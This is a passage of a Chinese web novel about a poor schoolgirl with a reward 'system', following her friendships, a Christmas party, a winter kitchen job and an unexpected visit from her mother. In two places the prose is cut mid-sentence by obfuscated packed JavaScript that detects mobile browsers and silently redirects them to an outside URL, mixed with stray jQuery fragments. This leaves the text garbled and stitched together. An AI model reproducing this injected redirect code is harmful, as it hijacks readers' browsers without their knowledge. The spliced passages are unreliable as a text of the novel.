说着，陆晨曦揉了揉眼睛，悄悄擦去泪水，说：“她很忙，别的妈妈会辅导功课，会陪孩子出去吃出去玩，我妈很少陪我，有时我觉得她恨我。” 触及崔皓月惊诧的眼神，陆晨曦抿唇。 她低声解释：“我妈和我爸离婚，我爸是个大烂人，我便以为我妈恨屋及乌。我有几个歹毒亲戚，当着我的面说我妈被我拖累，让我妈把我扔给我爸。尽管我妈骂了亲戚，跟他们断绝往来，我也忘不了他们说的那些话……” 自信张扬的陆晨曦，也会彷徨不安，她的人生并非一帆风顺。 崔皓月轻轻地拍了拍她的肩，对母女关系产生新的认识。 小孩的心很脆弱，就算妈妈有钱有爱，孩子也会遇到他人或环境的恶意。 她如果爱女儿，还得给女儿一个充满爱的环境，让女儿健康成长。 不过，陆晨曦也说了，生孩子是很久之后才会考虑的事情，现在最重要的是她自己。她不能辜负自己对自己的期望，她要拿到名列前茅的优秀成绩，要吃好喝好长得更高更强壮，要做一个勇敢、坚强、充满自信的人！ 教室里，新同桌晏北回在吃早餐。 她不住校，每天骑自行车往返家和学校。早上来，中午回去又来，下午再回再来，晚上还得回去睡觉。 崔皓月看了一眼她的早餐，饱满的大馄饨飘在汤里，看着就觉得美味。 肯定是在那家特别好吃的馄饨店买的。 走读生吃的就是好。 “早上好。”崔皓月主动打招呼。 “好。”晏北回夹起最后一个馄饨，发现崔皓月坐下来就拿出英语书背单词，毫无放松一下的想法，不由得问她，“你学习一直这么刻苦吗？难怪你进步了。” “我英语比较差，要补回来。” “有点无聊。”晏北回说，“你能赶上陆晨曦？” “应该能？”崔皓月不确定。 晏北回笑起来：“那你得付出更多努力，不然——”她压低声音，“陆晨曦考得上的大学，你考不上，到时候你俩就算再要好也要各奔东西，以后没准连见一面都难。” 这样的话很难听，崔皓月隐约从晏北回身上感觉到一丝恶意，那是错觉吗？ 可晏北回说的确实是事实。 崔皓月思考了一会儿，问喝汤的晏北回：“你有信心考上你想去的大学？大学有很多，要是你考上学费很贵的大学，你还去读吗？还是留在学校继续读高四？” 毫无疑问，晏北回被问住，气恼地瞪着她：“要你管！” 一口气喝完汤，晏北回去洗碗筷，打包早餐要钱，她自备了餐盒，用完要清洗。 【叮！你触发了生活事件】 【同桌晏北回不知为何讨厌你，面对她的挑衅，你决定——】 【选项一：无视她，获得书籍《平静的人生听不到喧嚣》和100元零花钱】 【选项二：应下挑衅，鼓励她一起学习，获得《高中全学科解题技巧》和300元零花钱】 【选项三：对她邪魅一笑，告诉她你重生了，重生在她高考失利前，获得《谎言》和500元零花钱】 遇到选择题，先审题，再看选项三。 撒谎说自己重生了是什么鬼？邪魅一笑要怎么笑？ 只在小说和段子里见过邪魅一笑的崔皓月，眉头跳了跳。 她想要选项三的500元零花钱，想要选项二的《高中全学科解题技巧》，不要《谎言》，贫穷的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14354106|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 选项一她完全不感兴趣。 学习比钱重要，崔皓月果断选择选项二。 系统不会提示怎么应下挑衅，她等晏北回回来，念了同桌的全名，吸引到注意力，用诚恳的语气说：“我想和你一起学习，我们是同桌，我希望我们明年都能考上理想的大学。” 她的话发自内心，晏北回听在耳朵里，不禁想象自己成绩进步，高考分数不错，进入优秀大学的美好未来。 谁不盼着人生变得更好呢？ 成绩下来时，晏北回也希望自己比从前进步。 可是，学习没那么容易。 从幻想中回到现实，看着注视自己，等待自己答复的崔皓月，晏北回到底不忍心拒绝这份好意。 她叹息一声，神色黯然：“离高考没几天了，努力也来不及了。我不是你，想学就能学好，想进步就能进步，我不想学，也学不进去。” 似乎每个人都有每个人的苦恼。 崔皓月想到怀疑妈妈不爱她的陆晨曦，询问晏北回：“为什么不想学？”自己也有不想学的经历，崔皓月靠近晏北回，声音很轻，“谁让你感到困扰？” “说了你也不理解。” 晏北回按亮手机屏幕，看了一秒，熄灭屏幕。 她把玩着手机，无焦距的目光落在桌子上。 “有时我想住校，早上不用那么早起来，不怕手机被偷看。我都不知道我妈什么时候偷偷看了我的手机，她问我是不是跟网友谈恋爱，还把网友的昵称说出来，你能想象我当时的感受吗？” 看向崔皓月，晏北回说：“像恐怖片。你回到家，家里一切正常，你的心情很放松。你打开冰箱，想找点吃的，忽然你发现冰箱里放着一颗血淋淋的人头。” 崔皓月家里没冰箱，但她轻易地理解晏北回的恐惧。 谁小时候没写过日记？ 日记写出来总是会被偷看，甚至遭到窥视者毫不留情的嘲笑。 奶奶从不尊重她，从不给她隐私空间，试图掌控她的一切，晏北回的妈妈也会这样吗？ “我的手机设了密码。”晏北回看着手机上需要密码才能解锁的屏幕，“我妈偷看我的聊天记录，是怎么看的？她难道知道我的密码？她那么懂，她怎么不去警察局破案！” 【叮！你完成选项二，300元零花钱已发放至账号，《高中全学科解题技巧》正在发放】 钱拿了，崔皓月认为自己有必要关心一下让她触发生活事件的同桌，说：“住校确实比住在家里自由，我的宿舍剩了一个空床位，你要住吗？” 晏北回心动，然后拒绝：“不，还是家里好。我已经改掉密码，我妈肯定看不了我的手机。” “一起背单词？”崔皓月问起别的。 晏北回犹豫，摇摇头：“待会儿是英语早读吧？学习不差这点时间，我玩一下手机。” 两次建议都被拒绝，崔皓月忽然想起陆晨曦对晏北回的评价，说：“我想，我可能知道你学不进去的原因。”迎着晏北回疑惑的目光，崔皓月犹豫着，对她说，“你想学，想住校，你只是想，不愿意去执行。” 就像从前的徐婷婷，想得多，做的却少，在矛盾中挣扎，逐渐陷入内耗。 透过一脸茫然的晏北回，崔皓月看见过去的自己。 她遇到了系统，晏北回能遇到什么呢？崔皓月思索着，主动跟晏北回说悄悄话：“你问过我是穿越了还是重生了，我可以告诉你真相。” 撒谎！她在撒谎，竟然能面不改色心不跳。 崔皓月暗暗佩服自己。 在晏北回震惊无比的注视之中，她把谎言说完：“我确实重生了，从十年后回到高考前。你相信吗？十年后同学聚会，我没参加，你也没有去，我过得不好，你好像也不太好。” 20.晏北回 崔皓月看起来很镇定，表现出一本正经的样子，有点严肃。但是晏北回想着她刚才的话，忽然想笑，晏北回也没克制，她笑了，笑得上气不接下气，笑得肚子疼。 好不容易笑完，晏北回重新看向崔皓月，发表感想：“我不信。崔皓月，你一定在跟我开玩笑，对不？” 世上怎会有重生，那只是小说设定。 然而晏北回一想到崔皓月的改变，心里又感到不确定，万一她真的重生呢？ 如果她不是十年后重生回来的，为何她能在短时间内改变那么多？如果她没重生，她哪来的本事让高傲的陆晨曦低头，跟她成为好朋友？ “信不信，随便你。”撒谎骗人毕竟不是崔皓月的长处，她看英语书上的单词，感觉一颗心跳得慌慌张张的。 晏北回想信，也不想信。 她挨近同桌咬耳朵：“彩票中奖号码你记得吗？高考题目呢？十年后的世界跟现在有什么不一样？你既然重生了，还把秘密告诉我，跟我说说呗。” 说谎吗？崔皓月不想圆谎，讲了真话：“重生是假的，不要信。你的问题我一个都回答不了，别玩手机了，好好地学习！” “这语气真像成年人，你是十年后重生回来的吧？”晏北回发出得意笑声，认为自己知道崔皓月的秘密，“我就说，你怎么一下子变化那么大，原来你不是原来的你，一切都能解释清楚了。” “啊？”崔皓月眨眨眼。 “别装了，我知道你重生了，我相信你。”晏北回一脸深沉地说，“我向天发誓，我会为你守住秘密！所以，你偷偷给我透露一下，我的未来哪里不太好？” 崔皓月：“……”后悔撒谎怎么办。 “你就跟我说说嘛。”晏北回抱住她的手撒娇，“我想知道。” “现编的你听吗？”崔皓月真的后悔撒谎，认真地说，“重生是开玩笑，你的未来我真的不了解。” “真真假假，假假真真。你猜，我会信哪个？”晏北回神秘地冲她挤了挤眉，“你不肯说就不说吧，我不会勉强你。” 瞧着晏北回若无其事地玩起了手机，崔皓月感觉她应该没有相信自己重生，便放心地背单词。 上午有体育课，大家来到操场上，跟老师赶鸭子一样赶去跑800米，纷纷发出哀嚎。 每日晨跑，800米对崔皓月来说不过尔尔。跑完之后，她连气都不多喘一下，让累得不行的晏北回很羡慕：“你的身体咋这么好？” “多跑跑就不累了。”崔皓月笑着说道。 休息了几分钟，体育老师让大家自选运动方式，篮球、羽毛球、跳绳、乒乓球都可以。 以往，崔皓月会选择跳绳。 小山村出身的她，只有跳绳这种器材便宜的运动是从前有过接触的。 当晏北回邀请她打篮球，她无措：“我不会，我个子还矮。” “不会可以学的哦！”晏北回拿着篮球呵呵笑，“来，试试打篮球，不难的！” “行，你们不嫌弃我拖后腿，我可就大胆学习了！”崔皓月对篮球也有一些好奇心，“先学什么？拍篮球？” “我来！”陆晨曦夺走篮球抛向崔皓月，“接着！” 篮球来得突然，崔皓月没接住。 她也没气馁，趁篮球在地上弹跳，拍了它一下，毫无难度地学会拍篮球。随后她按照晏北回的指示，拿起篮球，将篮球抛向晏北回：“然后呢？” 晏北回拍着篮球跑了一段，举球投篮，篮球落入球框，引起同学的惊叹声。她很是得意地朝大家一笑，追逐落地的球，再次投篮，这次差了一点没有投中。 “丢给我！”陆晨曦喊。 晏北回犹豫了下，将篮球传给她。 陆晨曦也投了一次篮，中了，毫不留恋地把球丢给崔皓月：“到你了，你也试试投篮。” 崔皓月自然是没有中的，可她玩得很开心。 男生们在一边看，不爽她们霸占了篮球和球场，发出嘘声。 “你们不会玩，能不能玩点别的？” “女生玩啥篮球啊，女生打篮球一点都不好看。” “做啦啦队去吧！” 说得陆晨曦都恼火了：“篮球是你们买的？球场是你们修的？不爱看就滚一边去！” “哇，你这个人好霸道哎，凶成这样很难找男朋友吧？” “看着漂亮，怎么是个小辣椒？” “她是小辣椒？你小看她了，她是陆晨曦，高三那个读书运动音乐都厉害的女的！听说她还会武术，家里很有钱……” 操场有操场的规矩，陆晨曦向教训说闲话的男生们，冷笑着下战书：“比一场？赢了我，我把场地让给你们，输了就老老实实当观众！” 真有男生想跟她比一场，那男生很快被劝住。 “单对单你是斗不过她的，她投篮准得跟开了挂似的，咱们还是得组队跟她们打。” “对的，陆晨曦这段时间很少打篮球，看她身边那几个女的也不怎么会，我们组队应该能赢她一次。” 要比赛了，崔皓月自觉退出，说：“晨曦，我给你当啦啦队！” 陆晨曦自信地道：“看着吧，我能把他们打得落花流水！” 班上的女生就晏北回比较熟悉篮球，陆晨曦找了她和邻班的一个女生组队，男生们也推出一个三人小队，双方在篮球场上比拼。 崔皓月不太懂篮球，看着陆晨曦投篮成功一次便为她喝彩一声，觉得陆晨曦很厉害。三个男生抢球抢不过她，投篮更是比不过她，她是篮球场上最靓的那个。 不过，三个男生斗不过陆晨曦，竟然骚扰她的队友。 看到晏北回被推倒两次，崔皓月的眉头紧紧地皱起来。 可晏北回不在乎，她和陆晨曦、另一队友已经赢得这场比赛，正在篮球场上欢呼。 回到教室里，晏北回依然兴奋得很：“皓月，我们赢了呢！篮球场不是他们臭男生的，我们女生同样有一席之地！” “你刚才摔了，没淤青吧？”崔皓月担心。 “没事，衣服厚着呢，摔不疼。”晏北回拍了拍衣服上沾的灰尘，热情地说，“你还想学打篮球吗？陆晨曦能教，我也能教，我个子不高，我的经验比陆晨曦的更适合你！” “也就体育课能学。” “傍晚也能。”陆晨曦插话进来，“吃完晚饭后，回到宿舍要等好些时候才能洗澡，可以到篮球场上玩一会。” “刚吃完饭适合运动吗？”崔皓月很在意身体健康。 “下课后立刻来篮球场打球，接着去吃饭，然后回宿舍洗澡。”陆晨曦列行程，“你不嫌累，我都可以，不过每天打球我可能吃不消，一三五还是二四六你拿主意。” “那我呢？”晏北回不甘心被忽略，“明明是我先教崔皓月打篮球的！” “你是走读生，时间跟我们走读的不一致，体育课再玩嘛。”陆晨曦笑着说。 上课后，晏北回在本子上写了一句话，推给崔皓月看：“我总觉得陆晨西对我有意见。” 陆晨曦的名字笔画多，她忘了“曦”字怎么写，写了个偏旁就划掉了，用同音的“西”代替。崔皓月看到时忍不住笑，被晏北回报复性地掐了一下，不痛，只是玩闹。 晏北回气呼呼地说：“我是写不出，哼！有本事你写个给我看看！我猜陆晨 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这天傍晚，晏北回没回家，下课了跟同桌、陆晨曦去篮球场打篮球，用崔皓月的饭卡在食堂吃晚饭。妈妈发消息问她为何不回家，她不敢讲实话，说作业没有做完，留在学校做。 妈妈没有起疑心，说：“听说食堂的饭菜不好吃，你偶尔吃一次就行了，还是家里的饭菜好吃，营养均衡全面。” 晏北回倒是不觉得食堂的饭难吃，反驳道：“我吃过，有肉有蛋有素，不比饭店差。” 妈妈说：“你吃个新鲜罢了，天天吃哪里能受得了？” 晏北回放弃跟妈妈争辩，试探性问妈妈：“早上骑车来学校很冷，我也不想起那么早……” 妈妈：“我没空送你，我要上班！” 送弟弟去学校你怎么有空？每次都说顺路送，她读那座初中的时候，妈妈怎么不顺路送？晏北回脸色阴沉：“我干脆住校得了！” 妈妈马上否决：“那怎么能行？学校的床那么小，上厕所、洗澡都要排队，你从来没住过校，吃得那个苦？冬天去学校是冷了一点，过完这一年你就读大学了，再忍忍吧。” 晏北回被妈妈说服。 结果下晚自习后下了雨，第二天也下雨，她骑着车风里来雨里去，冻得瑟瑟发抖。回家瞧见弟弟穿着崭新的羽绒服，舒舒服服地躺在沙发上看电视，妈妈在厨房忙活，叫她进去择菜，她猛然爆发了。 “我的新衣服呢？妈，我也会冷！”晏北回又生气又委屈，“我的手冻得没知觉，你还要叫我干活！你怎么不叫弟弟帮忙？你重男轻女！你偏心！你不疼爱我！” “路过衣服店顺便给他买的，你不在，我给你买的新衣服小了怎么办？退换可麻烦了。”妈妈一直有道理，“手冷了就放热水里泡泡，都这么大的人了，还要妈妈把你当小孩看？没让你弟弟干活是因为他弄伤手指，不能沾水。” 一边干活妈妈一边唠叨：“你不想择菜就玩手机去！这个家全靠我才能撑住，你爸是个啥也不干的撒手掌柜，我又上班又接孩子又做饭，还要打扫卫生，天天忙得脚不沾地！你们倒好，一点活都不肯分担，老是怪我，我做你们的妈真是倒了八辈子楣……” 不想听！晏北回一句抱怨都不乐意听！ 又不是她让妈妈那么忙的！ 她饭也不吃了，用泡面填饱肚子便逃到学校，在老师的办公室门口等了大半天，终于等到自家班主任陈若龙出现，即刻上前要求住校。 高三学习那么辛苦，谁要回家干活？ 晏北回想吃食堂，难吃点也行，反正她不想洗家人的碗。 她想在傍晚和崔皓月、陆晨曦去打篮球，想和她俩一早起来跑步，不想面对家里啰嗦的妈妈和受尽偏爱的弟弟。 21.圣诞蛋糕 对崔皓月来说，同桌晏北回只是忽然下定决心住校，过了几天便提着行李搬进她的宿舍，占领仅剩的床位。 从此，她多了一位舍友。 这位舍友还是同桌，要一起晨跑、一起吃饭、一起打篮球，姿势强硬地挤进她和陆晨曦之间。 被插足的陆晨曦略有微词，想跟好朋友崔皓月吐槽一下晏北回，竟然找不到机会。 上课时，晏北回跟崔皓月同桌，一起去厕所甚至更方便。 吃饭时，晏北回在场，陆晨曦怎么能当面说她？ 回到宿舍，晏北回喜欢粘着崔皓月，只有她洗澡陆晨曦才有空跟崔皓月说上几句话。 当晏北回洗完澡，也不晓得听谁说陆晨曦跟崔皓月单独说话，故意问陆晨曦：“你瞒着我跟我同桌聊啥呢？” 如此作为着实把陆晨曦膈应到了。 而崔皓月被她俩夹在中间，很是头疼，一会儿担心自己怠慢陆晨曦，一会儿担心晏北回觉得自己和陆晨曦排挤她。 好在三人的矛盾没有持续太久，晏北回早上起不来，也受不了晨跑时的刮骨寒风，她更乐意在温暖亲切的被窝里多躺一会儿。 若是起得来床，她便跟着崔皓月二人晨跑。 住校生活跟走读不一样，晏北回在宿舍住了几天，并不习惯。她因为洗澡次序跟舍友闹了矛盾，崔皓月不能帮到她，她说她不想住校了。 崔皓月能怎么说？她问晏北回：“你爸妈能同意你走读？” 晏北回泄气，她手机上还存着妈妈撂下的预言——“可别住了几天又不想住，哭着求我给你办走读”，若是让妈妈知道她此时的想法，她一定会被妈妈嘲笑。 没办法了，咬牙坚持下去吧！ 让她不习惯的，不仅仅是宿舍生活，还有崔皓月对学习的热忱。 两人做同桌没多久，崔皓月收到快递，晏北回替她拆开包装，里面竟然是《高中全学科解题技巧》！ “书可以借你看，多看看，能提高成绩。” 崔皓月拿起《英语解题技巧》，津津有味地钻研起来。 拿着手机准备玩的晏北回看着她，愣是好半天都说不出话。 看不看是晏北回的事，崔皓月只提醒一次，她觉得系统奖励的学习资料非常好，学透了还能拿不少分数。 趁着课间时间，她找陆晨曦讨论学习，上课后回到座位，仍意犹未尽。 晏北回问：“你真能看进去？” 崔皓月不可置否：“我要考学费便宜的好大学。” 家不是她家，亲人不对她亲，她是没有托底的人，唯有依靠自己。 还是课间休息，崔皓月又去找陆晨曦学习，回来后被晏北回请教数学书上的题目：“你能给我说说吗？我看不懂。” 同桌肯下定决心学习了？崔皓月瞟了她一眼，拿过数学书，翻到前几章，问：“这个能看懂？” “不太懂。” 崔皓月继续往前翻：“这里呢？” “还是不明白。” 崔皓月皱眉，同桌的基础有点差，她把自己的试卷翻出来，递给同桌：“研究这个，不懂你就翻书，翻书也不懂就问我。” “好。”晏北回乖乖照做。 大概是晏北回真的下定决心学，她的成绩进步了。 一直进步的崔皓月也为同桌感到高兴。 眨眼间，今年的最后一个月过去了。 圣诞节在周四，不放假。 平安夜当晚，班里的学习气氛似乎淡了些，崔皓月收到几个苹果。 有同桌晏北回给的，有陆晨曦给的，也有别的舍友、别的同学给她的。她感到惊奇，原来自己不知不觉间脱离小透明的身份，身边多了一些朋友，不再无人关注。 苹果有种特别的香气，令人心情愉悦。 要怎么过圣诞节？ 崔皓月没经验。 在从前，她没钱庆祝圣诞节，也没有人和她一起过圣诞节。 今年不一样，她想好好过这个陌生的节日，想留下一些特别的记忆。 被送礼物必须回礼，崔皓月特地去学校附近的小商店逛了逛，听到店里播放的圣诞歌曲。 曲调简单，朗朗上口，谁都能跟着哼唱。 过了平安夜，送苹果有点儿敷衍。 店里的贺卡做得精致漂亮，送礼感觉不实用。 送糖果、巧克力这些可以吃的东西，实用性是够了，可崔皓月觉得不够庄重。她思考了好一会儿，期待系统给自己一点提示，可惜系统一直沉默。 突然，她瞥见了蛋糕店。 圣诞节能吃蛋糕吗？应该能的，崔皓月决定买一个蛋糕，和大家共同分享。 刚好她嘴馋，想吃电视上看过的大蛋糕。 小蛋糕很好吃，大蛋糕的味道大约差不多？要亲口尝过才知道。 蛋糕店的大蛋糕要提前定做，崔皓月选了最实惠的水果蛋糕，留下陆晨曦的手机号，请蛋糕店明天中午送达学校后门。 尽管是节日蛋糕，蛋糕店依然准备了蜡烛作为小礼品。 “过过生日吗？”陆晨曦问她。 “没过过，我的生日早就过去了，要等明年。”崔皓月看着写了圣诞祝福的蛋糕，迫不及待要尝一口，“蜡烛还是别插蛋糕上了吧？” “我觉得蜡烛是吃蛋糕必须的仪式感！”晏北回说，“不庆祝生日，可以插一根庆祝圣诞节啊！” 好建议！ 崔皓月拆出一根蜡烛，插在蛋糕正中间。 陆晨曦找舍管阿姨借来打火机。 在舍友们的簇拥下，崔皓月点燃蜡烛，有人起哄：“许个愿望？” 要吗？崔皓月看向大家。 “赶紧许个，大家都要许愿，不能对不起蛋糕的仪式感！”晏北回催促，闭眼默默许愿。 临时许愿，崔皓月望着幽幽烛光，轻声说：“我希望我们都能考上心仪的大学！” 大家善意地笑了。 不知是谁用手机播放《Merry christmas》，所有人围着蛋糕合唱起来。 歌曲唱完了，她们分享切开的蛋糕。 别的宿舍听到欢笑，过来看热闹，都羡慕极了：“你们寝的氛围可真不错！” 崔皓月对这句话深表认同。 没几天就是元旦，学校终于舍得放假。 崔皓月收到陆晨曦的做客邀请，正考虑要不要应下，晏北回问陆晨曦她能不能做客，陆晨曦答应了：“皓月，别再迟疑了，你不去我家，难道要去乡下受罪？” “我、我觉得不好意思，我一直麻烦你和你妈妈。”崔皓月讲实话。 她看向主动要求去陆晨曦家里做客的晏北回，羡慕其坦然。 “你呀，想太多了。”陆晨曦叹气，张开手把好朋友抱了个满怀，亲昵地贴着她，在她耳边说，“我都邀请你了，你给我个面子答应我的请求，好吗？我真的很需要你去我家做客，你去我家做客你也很高兴，我们双赢！” 崔皓月对她的拥抱始料未及，感觉又是害羞又是甜蜜，红着脸说：“你……你知道我的，我、我也不想拒绝你……” 陆晨曦放开她，对她说：“做人要认清自己，你想应下邀请，那就诚实地照做！”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14376113|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 在陆晨曦的眼睛里，崔皓月看到了自己。 她垂下头，低声答应：“好。” 陆晨曦不满意：“我，你的霸道好友，要你看着我的眼睛说好！” “哈哈哈！”晏北回顿时发出笑声。 崔皓月也忍不住笑，抬起头，注视着陆晨曦，认真地说：“你说得对！好！晨曦，你是世上最好的朋友！” 被夸赞的陆晨曦露出柔情，捧着心问她：“那你爱我吗？” 崔皓月：“……”说爱会不会很羞耻！ 这短暂的迟疑让陆晨曦心碎了：“呜！你不爱我！你连一句爱我都不肯说！” “不，我……”崔皓月咬牙，“我当然爱你！你是我最重要的人！我不能没有你！” “哈哈哈哈！”晏北回的笑声变得更大，“够了你俩，别搁这演女同了！” “没有人爱你吗？我也可以爱你哟。”陆晨曦一把搂住晏北回的肩，轻浮地比了个心，笑得灿烂。 脸皮没有她厚，晏北回的脸也被她羞红了，气道：“滚啊，我才不女同！我以后还要找帅哥谈恋爱的，你不能动摇我的性取向！” 假期出游，即便是家附近的公园也人山人海。 有钱人也会趁着假期出游，陆妈妈开车带着女儿和她的两个好朋友去海边景点，住高档酒店。 无论是海边还是酒店，崔皓月都没来过。 海水不是淡蓝色的，有点灰暗，沙子也不是洁白的，而是黄沙。 陆晨曦说这片海的景色比较一般，胜在离家只有二个小时，适合短假游玩。 天气好，陆妈妈不想动弹，在沙滩晒太阳，崔皓月三人爱玩啥就玩啥。 晏北回瞧着沙滩：“咱们玩沙子？” “玩啥沙子，不爱玩！”陆晨曦提议，“都跟我冲浪去！” “去不了，我不会游泳！”晏北回拒绝了，“皓月，你也不会游泳吧？” “不会游泳能冲浪吗？”崔皓月乐于尝试一切新奇的事物。 “能？”陆晨曦也不确定，“你穿上救生衣试试。” 冲浪是一项有门槛的高级运动，崔皓月到底对海有种恐惧心理，穿上救生衣也束手束脚，冲浪失败呛水数次，放弃了尝试。 陆晨曦有经验，倒是玩得游刃有余，相当快乐。 晏北回不爱看陆晨曦玩，拍照发朋友圈、空间、微博，配上炫耀的文案，等了一会儿没等到别人回应，便拉着崔皓月去钓鱼。 别说，钓鱼也有趣。 崔皓月从海里钓起一只八爪章鱼，无情地将它送上餐桌，发现鱿鱼更好吃。 海边玩两天，假期的最后一天去逛街。 经过那家女人剪头发贵五块钱的理发店时，崔皓月特地看了一下，它换了价格表，男人剪头发不再便宜五块钱。 这理发店还听劝呢，她开心地跟朋友们分享。 “做人较真点也不错。”晏北回说，“皓月，你真不买个手机吗？有手机更方便。” “买一个吧。”陆晨曦也劝她，“不用买太好的，能用就行，我们之间要联系，手机还能拿来学习呢。” 其实手机的价钱不算昂贵，一千多元就能买到一部功能齐全的智能手机。 两个好朋友帮忙选，崔皓月拿到手机时小心翼翼，生怕手机一不小心摔在地上摔坏了。 一千多元呢！对她不是小数目！ 她办了电话卡，保存陆晨曦和崔皓月的联系方式，在店里下载聊天软件加她们好友，好一番忙碌。 陆妈妈知道她买手机，也笑着保存她的号码：“有事你可以找我。” 22.妈妈 不知为何，陆妈妈虽然表现得温和亲切，崔皓月却觉得她不好接近。 若有麻烦事需要找长辈，崔皓月更愿意找班主任陈若龙。 大概是陈若龙作为她的班主任，她更熟悉。 想起陆妈妈送了奶奶八百多元的药，崔皓月无法理解她为何出手那么大方。可她在一天之内让自己完成改名并拿到身份证，她肯定是个很厉害的人，比自己认识的所有人都厉害。 崔皓月对陆妈妈感到敬畏。 走廊中，陆妈妈注视崔皓月，问：“寒假来做客吗？晨曦喜欢你，你来陪她一起过年，我觉得挺好。” “我打算去打工，为自己赚点生活费。”崔皓月有计划，“下学期的伙食费，我有个亲戚答应给，学费多谢您资助，生活费我认为我能解决。” “打工很辛苦，你想做什么工作？” “我不知道，我想，县城应该有我能做的工作。” “需要我介绍吗？” “如果您不嫌麻烦的话，那就麻烦您了。”崔皓月露出喜色。 “行，我打电话问问。” 陆妈妈掏出手机进了书房，不一会儿，她招手示意崔皓月进去。 只见陆妈妈悠闲地靠着老板椅，双脚搭在桌子上，姿态相当放松肆意。 她说：“有三份工作，包吃住。第一份是茶餐厅端盘子，工作20天，每天12小时，工资2400元；第二份是酒楼后厨打杂，工作16天，每天15小时，工资3200元；第三份是酒店客房服务员，工作20天，每天8小时，工资2000元。” 说完她看向崔皓月：“工作都很辛苦，你真要去打工？” 不打工难道在朋友家白吃白住？ 崔皓月明白，别人的钱不是风吹来的，亲如奶奶尚且不肯给她钱，何况别人。 陆妈妈很友善，可是她不愿意亏欠陆妈妈太多。 在心里快速计算三份工作的时薪，崔皓月选择工资最高最辛苦的酒楼后厨，跟陆妈妈讲实话：“3200元交完学费还有剩，我想，我下学期应该不用陆阿姨资助。” “很好，你过来一点。”陆妈妈满意地摸了摸她的脑袋，“给你发了红包，在微信上，不要拒绝我，那是零花钱。” “这……”崔皓月无措，“我、我有零花钱。” “我给的是我给的，不一样。”陆妈妈说，“女孩子手里是要有点钱，买什么都好，随你喜欢。晨曦还在等你，你去跟她玩吧。” 从书房出来，崔皓月打开手机，陆妈妈发的红包不是红包，是一笔2000元的转账。 就算是系统，都没有一次给过这么多钱。 陆妈妈要求她收下，她犹豫，想着自己以后能赚到比两千元更多的钱，能够回报陆妈妈今天的善意，便接受了转账，打字感谢陆妈妈。 放完假回到学校，又是一次大考，崔皓月的总分在班里排名十二，终于步入优等生行列。 成绩出来后讲完试卷，没几天就是期末考试，这次的成绩不会那么快出来。 考试前，陈若龙特地叫崔皓月到办公室，和她聊天。 得知她去酒楼后厨打工，工作是陆妈妈介绍的，陈若龙便说：“赚点生活费也好，但你到底是高三学生，学习才是你最重要的任务，你可不能耽误了学习。” 期末试考完立刻放假，全校欢呼。 崔皓月婉拒陆晨曦的邀请，在宿舍住了两天，拖着行李箱去酒楼上班。 路上，她默默思考未来。 家非她家，她不会再踏足半步。 学校是个临时住所，放假了，毕业了，她就不能住下去。 陆晨曦家固然好，毕竟不是她的家，她不能一直依赖陆晨曦和陆妈妈。 考完高考后，她要去哪里？又能去哪里呢？ 自从她改姓名，奶奶没来过学校探望她，爸妈也没来学校找她。 她仿佛被他们遗忘了。 不过，崔皓月同样没有联系他们。 她的手机里没有他们的联系方式，她也不想添加他们。 过年了，爸妈和弟弟会回老家，叔叔、姑姑应该也会回来，他们会如何对待她？崔皓月不关心，不想知道。 她接受酒楼的安排，住进跟学校差不多的宿舍，穿上后厨的工作服，很快开始了上班时长高达十五小时的体力工作。 酒楼后厨打杂等于什么都做，谁都能指挥。 第一天上班，崔皓月被使唤得团团转。 虽然她农村出身，从小干活到大，但干活不是她的长处。她干活效率一般，手脚并没有别人那么麻利，也不是很伶俐的人。好在酒楼不会要求后厨杂工十项全能，听话、干活认真、别捅娄子就行。 干了几天杂活，崔皓月熟悉后厨的流程，从容了些。 酒楼做早午晚三餐，早上要起很早，她为了系统奖励的营养剂，每天咬牙坚持晨跑，在微信上跟陆晨曦打卡，陆晨曦也跟她打卡。 “你打工那么辛苦都能晨跑，我用不着打工，没道理坚持不下去！” 这是陆晨曦对她说的话。 看到这句话，就算崔皓月每天累得闭上眼睛就能睡着，也没放弃过晨跑的念头。 她的学习成绩不如陆晨曦，毅力可不能输半点。 同桌晏北回极少晨跑，在微信上跟她抱怨偏心弟弟的妈妈，说在家里待着不舒服，也想打工。 到了过年，晏北回也没去打工。 她妈妈给她买了新的羽绒服，她很喜欢。 她和家里人去景区爬山，拍照片给崔皓月看。 照片里，晏北回被她妈妈搂着，对镜头比剪刀手。 崔皓月觉得她妈妈还是在乎她的，可能对弟弟有点偏心，但是这种程度的母爱足以让人心生羡慕。 想到自己的妈妈，崔皓月的眼睛不禁有点酸涩。 倘若妈妈哄她回去，她大约招架不住。 她恨自己下贱。 明知妈妈不爱她，还做梦乞求无情的妈妈施舍爱意。 崔皓月不懂，为什么妈妈是一个见面次数少得可怜的陌生人，她还能对妈妈产生各种不切实际的期待，甚至因此伤心伤神？ 爸爸也是一个陌生人，小时候见他如见客人，长大后每次见他，每次打电话，她都鼻子酸涩，难过得掉下眼泪。 繁忙的工作不允许她多想。 为期二十天的工作结束，崔皓月领到工资，经理还给了她一个红包，祝她学业高升。 红包里有两百元，她答应高考成绩出来后告诉这位经理，收拾行李回学校读书。 学校还是原来的样子，舍友们都没回来。 崔皓月把被子枕头抱出去晒太阳，自己选的款式，自己选的图案，光是看着就舒心极了。 回宿舍时，她看见一个熟悉的陌生人。 二人在楼下对视，对方不确定她的身份，问道：“你是婷婷？” 是妈妈。 妈妈竟然来学 